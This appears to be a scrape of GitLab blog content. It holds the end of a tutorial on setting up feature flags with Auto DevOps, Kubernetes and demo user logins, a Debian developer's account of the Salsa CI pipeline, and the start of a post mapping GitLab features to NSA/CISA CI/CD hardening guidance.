navigation menu\n{: .note.text-center}\n\n- Click on the **Run pipeline** button on the top right side of the **Pipelines** window. This will put you on the **Run pipeline** window. Click on the **Run pipeline** button on the bottom left of the **Run pipeline** window leaving the rest of the fields with its defaults.\n\n![run-pipeline-button](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/run-pipeline-button.png){: .shadow.medium.center}\nClicking on the **Run pipeline** button to run the project \"mysql\" pipeline\n{: .note.text-center}\n\n- At this point you will see the pipeline stage and jobs. There are two jobs under the **Build** stage: **create_and_load_db** and **clear_db**.\n\n![mysql-pipeline](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/mysql-pipeline.png){: .shadow.medium.center}\nThe \"mysql\" pipeline and its two manual jobs\n{: .note.text-center}\n\n- Click on the Play button (the right solid arrow) next to the **create_and_load_db** job name. This job will create a **product** table and a **users** table and populate them with dummy data. It will also create tables and indexes needed for storing all the session-related information as users log in and log out from the inventory system.\n\n**Note:** The **clear_db** job should only be used if you’d like to erase all of the database resources created by the **create_and_load_db** job. The **clear_db** should only be used AFTER a failed run of the **create_and_load_db** job.\n\nNow that we have the database ready to go, let’s set up the project that we will use for the creation of the feature flags.\n\n## Creating and importing projects\n- Head back to group “hn” and inside of it, create a cluster management project (you can call it “cluster-management”) at the same level as the project you imported above. You can view this [instructional video](https://www.youtube.com/watch?v=QRR3WuwnxXE&t=200s) (up to minute 6:09) to see how to do this. While applying the steps in the video for this tutorial, adjust the variables values from the video to this post as described in the following notes:\n\n**Note 1:** Make sure to create and set the KUBE_CONTEXT and KUBE_NAMESPACE variable in group “hn” and to these values:\n\n| variable | value |\n| ---          | ---      |\n| KUBE_CONTEXT | `\u003Cyour path>`/hn/flux-config:k8s-agent |\n| KUBE_NAMESPACE | my-apps |\n\nFor example, in my case `\u003Cyour path>` was “tech-marketing/sandbox/hn/flux-config:k8s-agent”. In your case, it will be different. If `\u003Cyour path>` is at the root of your GitLab workspace, then it would be empty so the value of KUBE_CONTEXT would be “hn/flux-config:k8s-agent”.\n\n![add-var-KUBE_CONTEXT](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/add-var-KUBE_CONTEXT.png){: .shadow.medium.center}\nAdding variable KUBE_CONTEXT in group \"hn\"\n{: .note.text-center}\n\n![add-var-KUBE_NAMESPACE](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/add-var-KUBE_NAMESPACE.png){: .shadow.medium.center}\nAdding variable KUBE_NAMESPACE in group \"hn\"\n{: .note.text-center}\n\n**Note 2:** As an FYI, when uncommenting the GitLab managed apps in the “helmfile.yaml” file, there will not be one for Prometheus. So, you will only uncomment the lines for ingress and cert-manager.\n\n![uncomment-ingress-and-cert-manager](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/uncomment-ingress-and-cert-manager.png){: .shadow.medium.center}\nUncommenting lines for ingress and cert-manager in file \"helmfile.yaml\"\n{: .note.text-center}\n\n**Note 3:** When the pipeline for project “cluster-management” runs, you will notice that the job “sync” is a manual job. You will need to click on its **Play** (right arrow next to its name) button to run it. Wait until the “sync” job completes successfully before continuing.\n\n![click-play-on-sync-job](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/click-play-on-sync-job.png){: .shadow.medium.center}\nJob \"sync\" is manual so you need to press on the **Play** button next to its name\n{: .note.text-center}\n\n**Note 4:** Once the pipeline finishes, for your convenience, here is the command you need to run from a Terminal window to get the **external IP** address of your cluster:\n\n```\nkubectl --namespace gitlab-managed-apps get services -o wide -w ingress-ingress-nginx-controller\n```\n\n![getting-external-ip-address](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/getting-external-ip-address.png){: .shadow.medium.center}\nRunning `kubectl` command to get the ingress IP address to the cluster\n{: .note.text-center}\n\nCreate and set a variable `KUBE_INGRESS_BASE_DOMAIN` in group “hn” and set it to the **external IP** address of your cluster and append the suffix “.nip.io” to it.\n\n![add-var-KUBE_INGRESS_BASE_DOMAIN](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/add-var-KUBE_INGRESS_BASE_DOMAIN.png){: .shadow.medium.center}\nAddding variable KUBE_INGRESS_BASE_DOMAIN in group \"hn\"\n{: .note.text-center}\n\n- Inside group “hn”, create a new project. Click on the **New project** button. On the **Create new project** window, click on the **Import project** tile and then click on the **Repository by URL** button.\n- This will expand the window and show fields to enter the URL of the repository you would like to import. In the field **Git repository URL**, enter the following:\n\n> [https://gitlab.com/tech-marketing/sandbox/prodmgr.git](https://gitlab.com/tech-marketing/sandbox/prodmgr.git)\n\nLeave the rest of the fields with their defaults.\n\n![import-prodmgr-proj](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/import-prodmgr-proj.png){: .shadow.medium.center}\nImporting project \"prodmgr\" into group \"hn\"\n{: .note.text-center}\n\n- Click on the **Create project** button at the bottom of the screen. You will see an **Importing in progress** message temporarily on your screen.\n- In project “prodmgr”, create a pipeline file and make sure to name it “.gitlab-ci.yml”. Paste the following code block into the empty file:\n\n```\ninclude:\n  template: Auto-DevOps.gitlab-ci.yml\n\nvariables:\n  K8S_SECRET_TF_VAR_dbusername: \"sasha\"\n  K8S_SECRET_TF_VAR_dbpassword: \"password\"\n  TEST_DISABLED: \"true\"\n  CODE_QUALITY_DISABLED: \"true\"\n  LICENSE_MANAGEMENT_DISABLED: \"true\"\n  BROWSER_PERFORMANCE_DISABLED: \"true\"\n  LOAD_PERFORMANCE_DISABLED: \"true\"\n  SAST_DISABLED: \"true\"\n  SECRET_DETECTION_DISABLED: \"true\"\n  DEPENDENCY_SCANNING_DISABLED: \"true\"\n  CONTAINER_SCANNING_DISABLED: \"true\"\n  DAST_DISABLED: \"true\"\n  REVIEW_DISABLED: \"true\"\n  CODE_INTELLIGENCE_DISABLED: \"true\"\n  CLUSTER_IMAGE_SCANNING_DISABLED: \"true\"\n  POSTGRES_ENABLED: \"false\"\n  STAGING_ENABLED: \"true\"\n  INCREMENTAL_ROLLOUT_MODE: \"manual\"\n```\n\nClick on the **Commit changes** button ensuring that the **Target branch** is main.\n\n![prodmgr-proj-pipeline](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/prodmgr-proj-pipeline.png){: .shadow.medium.center}\nCreating an Auto-DevOps-based pipeline for project \"prodmgr\"\n{: .note.text-center}\n\n- The previous step builds the application and deploys it to the staging environment. Once deployed to staging, head to **Build > Pipelines** and click on the most recently executed pipeline (should be the first one in the list). Click on the pipeline to display it and then deploy the application to production by clicking on “rollout 100%” job.\n\n![rollout-to-prod](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/rollout-to-prod.png){: .shadow.medium.center}\nTo deploy the application to production, click on the **rollout 100%** Play button\n{: .note.text-center}\n\nAt this point, you have a running application in the staging and production environments in your Kubernetes cluster. Let’s start creating a feature flag.\n\n## Creating a new feature flag\n-  In project “prodmgr”, select **Deploy > Feature flags** from your left vertical navigation menu.\n\n### Creating a user list\n- Click on the link **View user lists** on the top right hand side of your screen.\n- Click on the **New user list** button on the top right hand side of your screen.\n- In the **Name** field of the user list, enter “prods-in-alphabetical-order-userlist” and then click on the **Create** button.\n\n![create-ff-userlist](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/create-ff-userlist.png){: .shadow.medium.center.}\nCreating user list named \"prods-in-alphabetical-order-userlist”\n{: .note.text-center}\n\n- On the next screen, click on the **Add Users** button on the top right hand side of your screen.\n- In the **User IDs** text field, enter the following two email addresses and then click on the **Add** button:\n\n> michael@cfl.rr.com,mary@cfl.rr.com\n\n![add-users-to-list](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/add-users-to-list.png){: .shadow.medium.center}\nAdding users to user list \"prods-in-alphabetical-order-userlist”\n{: .note.text-center}\n\n- Head back to the Feature flags window by selecting **Deploy > Feature flags** from your left vertical navigation menu.\n\n### Creating the flag\n- Click on the **New feature flag** button on the top right hand side of your screen.\n- In the **New feature flag** window, enter “prods-in-alphabetical-order-ff”.\n\n### Specifying the strategy for the production environment\nIn the **Strategies** section of the **New feature flag** window, there should already be sub-sections for **Type** and **Environments**.\n- For **Type**, select **Percent rollout** from the dropdown menu.\n- For **Percentage**, enter **50** in the field.\n- For **Based on**, ensure that **Available ID** is selected from the popdown menu.\n- For **Environments**, click on the **+** sign and select the **production** environment.\n\n### Specifying the strategy for the staging environment\n- Click on the **Add strategy** button on the right hand side of the **Strategies** section. A new sub-section for another strategy will appear.\n- For **Type**, select **User List** from the dropdown menu.\n- For **User List**, select the user list **prods-in-alphabetical-order-userlist**.\n- For **Environments**, click on the **+** sign and select the **staging** environment.\n- Click on **Create feature flag** button at the bottom of your screen to complete the creation of the feature flag.\n\n![ff-and-strats-def](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/ff-and-strats-def.png){: .shadow.medium.center}\nDefining the feature flag with its strategies for strating and production environments\n{: .note.text-center}\n\n## Sharing feature flag configuration information with developers\nIn order for developers to instrument their code for this feature flag, you need to share with them the following information:\n- On the **Feature flags** window, click on the **Configure** button on the top right hand side of your screen.\n- Copy and save the values of **API URL** (URL where the client application connects to get a list of feature flags) and **Instance ID** (unique token that authorizes the retrieval of the feature flags). These are the two values that you will need for feature flag instrumentation.\n\n![ff-api-url-and-instance-id](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/ff-api-url-and-instance-id.png){: .shadow.medium.center}\nCopy and save the values for the feature flag API URL and Instance ID\n{: .note.text-center}\n\n- Head over to **Settings > CI/CD** and scroll down to the **Variables** section and click on its **Expand** button. Add the following two variables to your project:\n\n| Variable Key | Variable Value | Variable Type | Environment Scope | Flag - Protect variable | Flag - Mask variable\n| ----------- | ----------- | ----------- |----------- | ----------- | ----------- |\n| K8S_SECRET_UNLEASH_URL | \\\u003Csaved **API URL** value\\> | Variable | All (default) | unchecked | unchecked\n| K8S_SECRET_UNLEASH_INSTANCE_ID | \\\u003Csaved **Instance ID** value\\> | Variable | All (default) | unchecked | unchecked\n\n![add-var-K8S_SECRET_UNLEASH_URL](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/add-var-K8S_SECRET_UNLEASH_URL.png){: .shadow.medium.center}\nAdding variable K8S_SECRET_UNLEASH_URL to project \"prodmgr\"\n{: .note.text-center}\n\n![add-var-K8S_SECRET_UNLEASH_INSTANCE_ID](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/add-var-K8S_SECRET_UNLEASH_INSTANCE_ID.png){: .shadow.medium.center}\nAdding variable K8S_SECRET_UNLEASH_INSTANCE_ID to project \"prodmgr\"\n{: .note.text-center}\n\nThese two variables contain values that will be passed to your application (via the K8S_SECRET_ keyword) so that it can make use of the feature flags defined and managed by GitLab.\n\nIn order for your application to be able to use feature flags, you need to instrument your application with our Feature Flags framework. Let's see how you do this in the sample Java application.\n\n## Instrumenting the code\nIn this example, we are using the Java client for Unleash but if you’re using a different programming language then you need to use the client library for your language. To get all the supported languages, refer to the [Unleash documentation](https://docs.getunleash.io/reference/sdks) or [Unleash open source project](https://github.com/Unleash/unleash#unleash-sdks).\n\n### Instrumenting Java class files\n- In project “prodmgr”, navigate to the directory `src/main/java/csaa/jspring/ProductManager`.\n- Click on the file name “AppController.java” to view its contents and then click on the Edit button to enter edit mode.\n- You will see a few code blocks that have been commented out and are preceded by the line:\n\n> // Uncomment block below to instrument Feature Flag\n\nUncomment all the code blocks under each of the lines indicated above.\n\n![java-file-with-uncommented-lines](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/java-file-with-uncommented-lines.png){: .shadow.medium.center}\nPartial view of AppController.java file with uncommented code blocks\n{: .note.text-center}\n\n- Commit the changes to the main branch.\n- The commit starts a pipeline that deploys the application to the staging environment. Head to **Build > Pipelines** and click on the most recently executed pipeline (should be the first one in the list). Click on the pipeline to display it and wait until the **staging** job finishes. Then deploy the application to production by clicking on “rollout 100%” job.\n\nNow that the application is running in the staging and production environments, let’s see the feature flag in action.\n\n## Feature flag in action\nNow let's check how the feature flag is working.\n### Checking the feature flag in the staging environment\n- In project “prodmgr”, click on **Operate > Environments** to see the list of all environments. Then click on the \"Open live environment\" button for the staging environment.\n- A new browser tab will appear and will display a login screen. If your browser complains about the connection being insecure, accept the risk and open the browser tab.\n- Remember that the feature flag strategy for staging is based on the user list containing michael and mary in it. Let’s try logging in as each of them.\n- Enter credentials michael@cfl.rr.com with password p33sw0rd. Verify that Michael gets a product list sorted in alphabetical order. Log out and close the browser tab to ensure that his session closes.\n\n![michael-gets-ff](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/michael-gets-ff.png){: .shadow.medium.center}\nMichael gets the feature flag that orders the list of product names in alphabetical order\n{: .note.text-center}\n\n- From the Environments window, click on the \"Open live environment\" button for the staging environment. Enter credentials \"mary@cfl.rr.com\" with password \"p33sw0rd\". Verify that mary gets a product list sorted in alphabetical order. Log out and close the browser tab to ensure that her session closes.\n- From the Environments window, click on the \"Open live environment\" button for the staging environment. This time, enter credentials for \"thomas@gmail.com\" with password \"p33sw0rd\". Verify that thomas does **not** get a product list sorted in alphabetical order. Log out and close the browser tab to ensure that his session closes.\n\n![thomas-does-not-get-the-ff](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/thomas-does-not-get-the-ff.png){: .shadow.medium.center}\nThomas does not get the feature flag because the product names are not ordered in alphabetical order\n{: .note.text-center}\n\nThe steps above demonstrate that the feature flag strategy for staging successfully worked.\n\n### Checking the feature flag in the production environment\n- Click on **Operate > Environments** to see the list of all environments. Then click on the \"Open live environment\" button for the production environment.\n- A new browser tab will appear and will display a login screen. If your browser complains about the connection being insecure, accept the risk and open the browser tab.\n- Remember that the strategy in production is that the feature will be served to 50% of the users. Try logging into the web application as each of the following users keeping track of who gets the list of products sorted in alphabetical order by name and who does not:\n\n**Note:** Remember to click on the \"Open live environment\" button for the **production** environment. Once you log out from each user, remember to **close** the browser tab to ensure that the session closes.\n\n| Username | Password\n| ----------- | ----------- |\n| peter@gmail.com | pa33w0rd\n| magic@cfl.rr.com | pa33w0rd\n| michael@cfl.rr.com | pa33w0rd\n| henry@gmail.com | pa33w0rd\n| mary@cfl.rr.com | pa33w0rd\n| thomas@gmail.com | pa33w0rd\n\nYour final count should consist of three users being served the feature and three not, matching the strategy that was set for the production environment.\n\nAs changes are made to feature flags, you can track them from the audit events window.\n\n## Auditing feature flag changes\n**Note:** A Premium GitLab subscription is needed for viewing Audit events.\n\n- In project “prodmgr”, select **Secure > Audit events** from the left vertical navigation menu.\n- This displays all the events that have occurred in GitLab for the last thirty days. You will see that events related to updates to feature flags are listed.\n\n![audit-events-list](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/audit-events-list.png){: .shadow.medium.center}\nAudit events is an auditable list of actions that have been taken againt resources\n{: .note.text-center}\n\nThis auditing allows you to identify when and who made changes to feature flags. It can also help preempt out-of-compliance scenarios and streamline audits to avoid penalties, providing an opportunity to optimize cost, and lower risk of unscheduled production outages.\n\nNow you know how to create and use feature flags to lower your deployment risk.\n\nPhoto by \u003Ca href=\"https://unsplash.com/@liamdesic?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText\">Liam Desic\u003C/a> on \u003Ca href=\"https://unsplash.com/photos/acKSt3THWKA?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText\">Unsplash\u003C/a>\n",[110,754,943],{"slug":8423,"featured":6,"template":678},"eliminate-risk-with-feature-flags-tutorial","content:en-us:blog:eliminate-risk-with-feature-flags-tutorial.yml","Eliminate Risk With Feature Flags Tutorial","en-us/blog/eliminate-risk-with-feature-flags-tutorial.yml","en-us/blog/eliminate-risk-with-feature-flags-tutorial",{"_path":8429,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8430,"content":8435,"config":8441,"_id":8443,"_type":16,"title":8444,"_source":17,"_file":8445,"_stem":8446,"_extension":20},"/en-us/blog/debian-customizes-ci-tooling-with-gitlab",{"title":8431,"description":8432,"ogTitle":8431,"ogDescription":8432,"noIndex":6,"ogImage":831,"ogUrl":8433,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8433,"schema":8434},"Debian customizes CI tooling with GitLab","Debian developer Santiago Ruano Rincón explains the Linux distribution's custom solution for improving and expediting the open source software packaging process.","https://about.gitlab.com/blog/debian-customizes-ci-tooling-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Debian customizes CI tooling with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Santiago Ruano Rincón\"}],\n        \"datePublished\": \"2023-09-19\",\n      }",{"title":8431,"description":8432,"authors":8436,"heroImage":831,"date":8438,"body":8439,"category":813,"tags":8440},[8437],"Santiago Ruano Rincón","2023-09-19","\nI still remember the day I broke a widely used critical tool for open source developers around the world.\nAs part of the [Debian Linux distribution project](https://www.debian.org/), I maintain [grep](https://tracker.debian.org/pkg/grep), the GNU/Linux application used to search for text patterns in files.\nI had just uploaded a new Debian release of grep to the Debian archive, when some hours later, a Debian friend called me to let me know other Debian developers were unable to boot their personal computers.\n\nThat was late in 2005 – ever since then I'd wished for a way to prevent that scenario from happening again.\n\nToday, that solution exists.\nIt's part of Salsa, Debian's GitLab implementation, which powers Debian development for more than 900 developers in the global Debian community.\nThanks to GitLab's robust CI/CD functionality, those developers are able to test their packages *before* releasing them to the public Debian archive — saving them from causing the kind of turmoil I accidentally caused.\n\n> [Join us at Open Source Summit Europe 2023](https://go.gitlab.com/dPQ92t) to learn more about GitLab's dedication to open source.\n\nIn this article, I'll explain how that tool, called [Salsa CI](https://salsa.debian.org/salsa-ci-team/pipeline/), helps Debian developers using GitLab streamline software development, accelerate package maintenance, and significantly reduce time-consuming re-work.\n\n## Debian with extra Salsa\nSalsa CI is one of the Debian community's custom-built continuous integration tools.\nIt's part of the Debian GitLab instance ([Salsa](https://wiki.debian.org/Salsa)), and helps Debian maintainers manage roughly [9,000 projects](https://codesearch.debian.net/search?q=pipeline-jobs+path%3Adebian%2F.*.yml&literal=0&perpkg=1).\n\n### How Salsa CI works\nAs a Linux distribution, Debian packages open source software from multiple upstream sources. \nWhen new upstream source code is released, maintainers can test that code to ensure it will build and run reliably for Debian users as part of the Debian release cycle.\n* Packages appear first in [Debian Unstable](https://wiki.debian.org/DebianUnstable).\n* If those packages don't introduce regressions or serious bugs, they can migrate to [Debian Testing](https://wiki.debian.org/DebianTesting).\n* When a new Debian release is published, those packages move to [Debian Stable](https://wiki.debian.org/DebianStable).\n\nSalsa CI helps increase the probability that packages can pass from Unstable to Testing reliably, quickly, and without issue.\nIn effect, it emulates the Debian build process, adding several quality checks to identify errors before they would affect Debian users. \nWhen new source code triggers a Salsa CI pipeline, 17 different jobs run to build and test it automatically.\nSalsa CI checks to see whether the to-be-uploaded packages build on multiple architectures (at the moment, amd64 and i386, and optionally on Arm), runs [autopkgtest test suites](https://wiki.debian.org/ContinuousIntegration/autopkgtest) to try to identify potential regressions, and checks for common errors with our custom linter, [lintian](https://wiki.debian.org/Lintian), among other tests.\nYou can view all the details at Debian's public GitLab instance (I maintain the `grep` package for Debian, so I'll offer that one as [an example of Salsa CI in action](https://salsa.debian.org/debian/grep/-/pipelines/576674)).\n\n![An overview of Salsa CI running on Debian's grep package](https://about.gitlab.com/images/blogimages/debian-grep-salsa-overview.png){: .shadow}\n\n## Life before Salsa CI\nMaintainers have been iterating on the Salsa CI pipeline for more than four years now. \nBut I have not forgotten what life as a package maintainer in the Debian community was like without it.\n\nMost of the work Salsa CI performs today is work that community members would otherwise need to perform manually. \nSo it proceeded slowly and was prone to more errors.\nWhile use of Salsa CI isn't compulsory for Debian maintainers, many choose to use it for their work because it saves them an incredible amount of time and effort — and because it leads to fewer breaking packages.\nMaintainers no longer need to run their own package tests locally; instead, Salsa performs this work remotely.\n\nAnd it works quickly.\nIdentifying issues with [Debian's primary CI system](https://ci.debian.net) when testing packages might require several hours, days, or even a month. \nSalsa CI reduces that time horizon to several *minutes* (or hours, in the worst cases), depending on the complexity of the package. For example:\n* Without Salsa CI, maintainers manually upload their packages and must wait for build results from the Debian build network (and they must do this for each architecture they wish to test). Usually, if a build fails, maintainers test on bespoke \"[porterboxes](https://wiki.debian.org/PorterBoxHowToUse)\" tailored to specific architectures. Using Salsa CI, however, maintainers can test x86 and Arm package builds easily — after a single `git push` command.\n\n* Running `autopkgtest` on [ci.debian.net](https://ci.debian.net/) (the official and central CI infrastructure for Debian) tests only the packages that have been built by the build servers and installed in the archive. `autopkgtest` is run for migration reference monthly. In Salsa CI, however, `autopkgtest` runs immediately after the amd64 build job has finished, decreasing review cycle times.\n\n## Salsa CI in the open source ecosystem\nOverall, the Debian community has been pleased with the progress Salsa CI maintainers have made since the tool's creation four years ago.\nOther open source communities are taking notice, too.\nFor instance, Salsa CI has become the basis for even more complex CI pipelines in projects like [Kali Linux](https://go.gitlab.com/G1XROS).\nWe're delighted to see that something we created to solve our own issues and improve our own work is making a positive impact on the open source ecosystem more broadly.\n\n*Editor's note: Debian developers [Alexander Wirt](https://gitlab.com/formorer) and [Otto Kekäläinen](https://gitlab.com/ottok) contributed to this article.*\n\n[Join us at Open Source Summit Europe 2023](https://go.gitlab.com/dPQ92t) to learn more about GitLab's dedication to open source.\n{: .note}\n",[815,267,754],{"slug":8442,"featured":6,"template":678},"debian-customizes-ci-tooling-with-gitlab","content:en-us:blog:debian-customizes-ci-tooling-with-gitlab.yml","Debian Customizes Ci Tooling With Gitlab","en-us/blog/debian-customizes-ci-tooling-with-gitlab.yml","en-us/blog/debian-customizes-ci-tooling-with-gitlab",{"_path":8448,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8449,"content":8455,"config":8459,"_id":8461,"_type":16,"title":8462,"_source":17,"_file":8463,"_stem":8464,"_extension":20},"/en-us/blog/how-gitlab-supports-the-nsa-and-cisa-cicd-security-guidance",{"title":8450,"description":8451,"ogTitle":8450,"ogDescription":8451,"noIndex":6,"ogImage":8452,"ogUrl":8453,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8453,"schema":8454},"How GitLab supports NSA and CISA CI/CD security guidance","GitLab can support your alignment with NSA and CISA CI/CD recommendations and best practices for cloud-based DevSecOps environments.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683032/Blog/Hero%20Images/vaultimage.png","https://about.gitlab.com/blog/how-gitlab-supports-the-nsa-and-cisa-cicd-security-guidance","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab supports NSA and CISA CI/CD security guidance\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joseph Longo\"}],\n        \"datePublished\": \"2023-09-19\",\n      }",{"title":8450,"description":8451,"authors":8456,"heroImage":8452,"date":8438,"body":8457,"category":674,"tags":8458},[1224],"\nIn June, the National Security Agency (NSA) and the Cybersecurity and Infrastructure Security Agency (CISA) [issued a joint cybersecurity information sheet (CSI)](https://media.defense.gov/2023/Jun/28/2003249466/-1/-1/0/CSI_DEFENDING_CI_CD_ENVIRONMENTS.PDF) providing recommendations and best practices for cloud-based DevSecOps environments. Specifically, the CSI focuses on security hardening best practices for continuous integration/continuous delivery (CI/CD) cloud deployments.\n\nLet's take a look at the relevant threats, recommended countermeasures, and how the [GitLab DevSecOps Platform](https://about.gitlab.com/platform/) can support the implementation and enforcement of the countermeasures to help secure your CI/CD environment.\n\n## CI/CD environments are under threat\nOver the past few years, the software supply chain, and specifically CI/CD environments, have become a persistent and valuable target for malicious actors. Theft of proprietary code and data, injection of malicious links and redirects, and denial-of-service attacks are a few examples of why CI/CD environments have been such lucrative targets for threat actors.\n\nThe CSI outlines examples of common risks in CI/CD pipelines. These risks include:\n* insecure first-party code\n* insecure third-party code\n* poisoned pipeline execution\n* insufficient pipeline access controls\n* insecure system configuration\n* usage of insecure third-party services\n* exposure of secrets\n\nAdditional context can be found in the CSI and in [OWASP's top 10 CI/CD security risks](https://owasp.org/www-project-top-10-ci-cd-security-risks/).\n\nNote: The CSI contains helpful information on potential threat scenarios and illustrations to help visualize different attack vectors.\n\n## Hardening recommendations for CI/CD environment\nAs a single, all-inclusive DevSecOps platform, GitLab's features support the implementation of the recommended mitigations from the NSA and CISA.\n\n### Authentication and access mitigation\nHere are the features that align with authentication and access mitigation.\n\n#### Use NSA-recommended cryptography\n_\"NSA and CISA recommend the implementation and configuration of strong cryptographic algorithms when configuring cloud applications and services.\"_\n\nGitLab's [GitLab.com](https://about.gitlab.com/solutions/) and [GitLab Dedicated](https://about.gitlab.com/dedicated/) SaaS solutions implement TLS 1.2+ for encrypting data in transit and AES-256-bit encryption for data at rest. You can learn more about our approach to cryptography in our [Cryptography Standard](https://about.gitlab.com/handbook/security/cryptographic-standard.html).\n\n#### Minimize the use of long-term credentials\n_\"Use strong credentials that are resistant to stealing, phishing, guessing, and replaying wherever and whenever possible.\"_\n\nTo support the use of strong credentials, GitLab enables you to centralize authentication and authorization responsibilities for your GitLab instance through [SAML SSO](https://docs.gitlab.com/ee/user/group/saml_sso/) integrations. GitLab integrates with a wide range of identity providers to support our customers’ diverse tech stacks. GitLab also supports the System for Cross-Domain Identity Management ([SCIM](https://docs.gitlab.com/ee/user/group/saml_sso/scim_setup.html)). Through GitLab’s SSO and SCIM integrations, you can automate the lifecycle of your user identities in a secure and efficient manner.\n\n[SSO](https://docs.gitlab.com/ee/integration/saml.html) and [SCIM](https://docs.gitlab.com/ee/administration/settings/scim_setup.html) are also available for GitLab self-managed customers.\n\nGitLab supports [two-factor authentication](https://docs.gitlab.com/ee/user/profile/account/two_factor_authentication.html). Customers can enable one or both of the following second factors of authentication:\n\n* time-based one-time passwords ([TOTP](https://datatracker.ietf.org/doc/html/rfc6238))\n* WebAuthn devices\n\n> Check out our [Ultimate guide to enabling SAML and SSO on GitLab.com](https://about.gitlab.com/blog/the-ultimate-guide-to-enabling-saml/) for more information.\n\n#### Add signature to CI/CD configuration and verify it\n_\"NSA and CISA recommend implementing secure code signing to establish digital trust\nwithin the CI/CD pipeline.\"_\n\nGitLab enables its customers to [sign commits](https://docs.gitlab.com/ee/user/project/repository/signed_commits/) using:\n* an [SSH key](https://docs.gitlab.com/ee/user/project/repository/signed_commits/ssh.html)\n* a [GPG key](https://docs.gitlab.com/ee/user/project/repository/signed_commits/gpg.html)\n* a [personal x.509 certificate](https://docs.gitlab.com/ee/user/project/repository/signed_commits/x509.html)\n\nGitLab's [push rules](https://docs.gitlab.com/ee/user/project/repository/push_rules.html) feature can also be used to reject individual commits if they are not signed with GPG, or you can choose to reject all commits from unverified users.\n\n![Signed commits](https://about.gitlab.com/images/blogimages/2023-09-07-how-gitlab-supports-the-nsa-and-cisa-cicd-security-guidance/signed-commits.png)\n\nSigned commits verified and unverified badges\n{: .note.text-center}\n\n#### Utilize two-person rules (2PR) for all code updates\n_\"No single developer should be able to check in code without another developer\nreviewing and approving the changes.\"_\n\nGitLab enables users to configure their [merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/) (MRs) so that they must be approved before they can be merged. MR approvals allow users to set the minimum number of required approvals before work can merge into a project. Some examples of rules you can create include:\n* Users with specific permissions can always approve work.\n* [Code owners](https://docs.gitlab.com/ee/user/project/codeowners/index.html) can approve work for files they own.\n* Users with specific permissions can approve work, [even if they don’t have merge rights](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html#merge-request-approval-segregation-of-duties) to the repository.\n* Users with specific permissions can be allowed or denied the ability to [override approval rules on a specific MR](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html#edit-or-override-merge-request-approval-rules).\n\nGitLab's MR approval [rules](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html) and [settings](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/settings.html) can be configured and adapted to meet your organization's requirements and align with your risk tolerance.\n\n![MR approval settings](https://about.gitlab.com/images/blogimages/2023-09-07-how-gitlab-supports-the-nsa-and-cisa-cicd-security-guidance/mr-approval-settings.png)\n\nExample of MR approval requirements\n{: .note.text-center}\n\n#### Implement least-privilege policies for CI/CD access\n_\"The CI/CD pipeline should not be accessible by everyone in the organization.\" \n\"Mitigate password risks by implementing multi-factor authentication (MFA).\"_\n\nGitLab enables you to [assign users a role](https://docs.gitlab.com/ee/user/permissions.html) when you add them to a project or group. A user’s role determines the actions they can take within your GitLab instance. The following roles are available for assignment:\n* Guest (private and internal projects only)\n* Reporter\n* Developer\n* Maintainer\n* Owner\n* Minimal access (available for the top-level group only)\n\nGitLab's role-based access control (RBAC) model enables you to limit a user’s permissions in accordance with the [principle of least privilege](https://csrc.nist.gov/glossary/term/least_privilege) and your business and information security requirements.\n\nAs mentioned [above](#minimize-the-use-of-long-term-credentials), GitLab supports two-factor authentication and can integrate with several SSO providers to support your tech stack and help you centralize authentication and authorization responsibilities.\n\n#### Secure user accounts\n_\"Regularly audit administrative user accounts and configure access controls under the\nprinciples of least privilege and separation of duties. Audit logs to ensure new accounts\nare legitimate.\"_\n\nAs mentioned in the [previous section](#implement-least-privilege-policies-for-cicd-access), GitLab enables you to assign roles and associated permissions to your users in a way that aligns with your business and information security requirements. GitLab's authorization feature enables you to support the principle of least privilege and the concept of separation of duties.\n\nKeep reading to understand how GitLab supports the NSA and CISA's audit log guidance.\n\n#### Secure secrets\n_\"Secure handling of secrets, tokens, and other credentials is crucial in a CI/CD pipeline.\"_\n\nGitLab's [secret detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/) enables users to scan their repositories for exposed secrets and take action based on the scan results.\n\nWith secret detection, users can see scan results in multiple places such as GitLab's [vulnerability report](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/index.html) and [security dashboard](https://docs.gitlab.com/ee/user/application_security/security_dashboard/), and users can configure [automatic responses to leaked secrets](https://docs.gitlab.com/ee/user/application_security/secret_detection/automatic_response.html).\n\n### Development process mitigations\nHere are features that support development process mitigations.\n\n#### Integrate security scanning as part of the CI/CD 